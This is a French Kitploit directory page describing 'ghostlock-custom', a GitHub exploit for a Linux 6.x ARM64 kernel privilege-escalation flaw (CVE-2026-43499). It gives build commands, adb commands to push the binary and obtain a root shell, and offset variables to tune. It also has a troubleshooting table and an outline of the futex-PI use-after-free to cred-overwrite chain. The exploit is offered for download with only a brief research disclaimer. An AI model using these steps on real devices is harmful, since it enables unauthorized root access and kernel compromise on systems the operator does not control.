Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ghostlock-custom — Adaptation de GhostLock (CVE-2026-43499) pour Linux 6.x ARM64 non-Android | Kitploit
Outils/GitHubGitHub/xiaobailovesstirring/ghostlock-custom
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationExploitation de Binaires
GitHubxiaobailovesstirring/ghostlock-custom

ghostlock-custom

Adaptation de GhostLock (CVE-2026-43499) pour Linux 6.x ARM64 non-Android

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
128il y a 2 moisPas encore vérifié

GhostLock Custom — Version adaptée pour CVE-2026-43499

Exploit d'élévation de privilèges GhostLock (CVE-2026-43499) pour noyaux Linux 6.x ARM64 non Android.

Caractéristiques du noyau

ParamètreValeur
ArchitectureARM64 (AArch64)
VA_BITS39
KIMAGE_TEXT_BASE0xffffffc008000000
Version du noyau6.x
SELinuxAucun
ashmemAucun
configfsAucun

Compilation

Compilation locale (nécessite un compilateur croisé)

make

Compilation avec Android NDK

make android-arm64 NDK=/path/to/android-ndk

GitHub Actions (compilation cloud)

Après un push, la compilation est déclenchée automatiquement ; téléchargez simplement l'artefact.

Utilisation

# Pousser vers l'appareil cible
adb push ghostlock-arm64 /data/local/tmp/e
adb shell chmod 755 /data/local/tmp/e

# Obtenir un shell root
adb shell /data/local/tmp/e --shell

# Ajuster le décalage pselect (si la valeur par défaut ne fonctionne pas)
adb shell PSELECT_SHIFT=-4 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=-2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=0 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=2 /data/local/tmp/e --shell
adb shell PSELECT_SHIFT=4 /data/local/tmp/e --shell

# Spécifier l'adresse de chargement physique
adb shell KPHYS=0x80000000 /data/local/tmp/e --shell

Variables d'environnement

VariableValeur par défautDescription
PSELECT_SHIFT-2Ajustement du décalage du waiter pselect sur la pile
KPHYS0x80000000Adresse de chargement physique du noyau
KIMAGE_TEXT_BASE0xffffffc008000000Adresse virtuelle de base du noyau

Principe de l'élévation de privilèges

  1. Course futex PI : FUTEX_CMP_REQUEUE_PI déclenche l'UAF de remove_waiter()
  2. Débordement de pile pselect : le rt_mutex_waiter libéré atterrit dans le tampon stack_fds
  3. Écriture dans l'arbre PI : écriture arbitraire en mémoire noyau via un faux waiter (fake waiter) construit
  4. Écrasement de cred : écrase task_struct->cred avec init_cred

Notes d'adaptation

Cette version est une version allégée de ghostlock-oneplus :

  • Suppression du code de désactivation de SELinux (ce noyau n'a pas de SELinux)
  • Suppression du code lié à ashmem/configfs (ce noyau ne dispose pas de ces composants)
  • Suppression du code d'installation de KernelSU
  • Suppression de la fuite SLIDE KASLR (pas de loggers/nfulnl_logger)
  • Suppression du code spécifique à Android (miniADB, etc.)

Dépannage

SymptômeCause possibleSolution
L'appareil redémarrePSELECT_SHIFT incorrectEssayez de -4 à +4 un par un
Aucun effetKPHYS incorrectVérifiez la valeur correcte dans /proc/iomem
perf_event_open failedRestriction seccompEssayez d'exécuter via ADB shell
Pas de rootDécalage non correspondantVérifiez la version du noyau, contrôlez TASK_CRED_OFF

Avertissement

Cet outil est réservé à la recherche en sécurité. L'utilisateur assume l'entière responsabilité.

Télécharger l’outil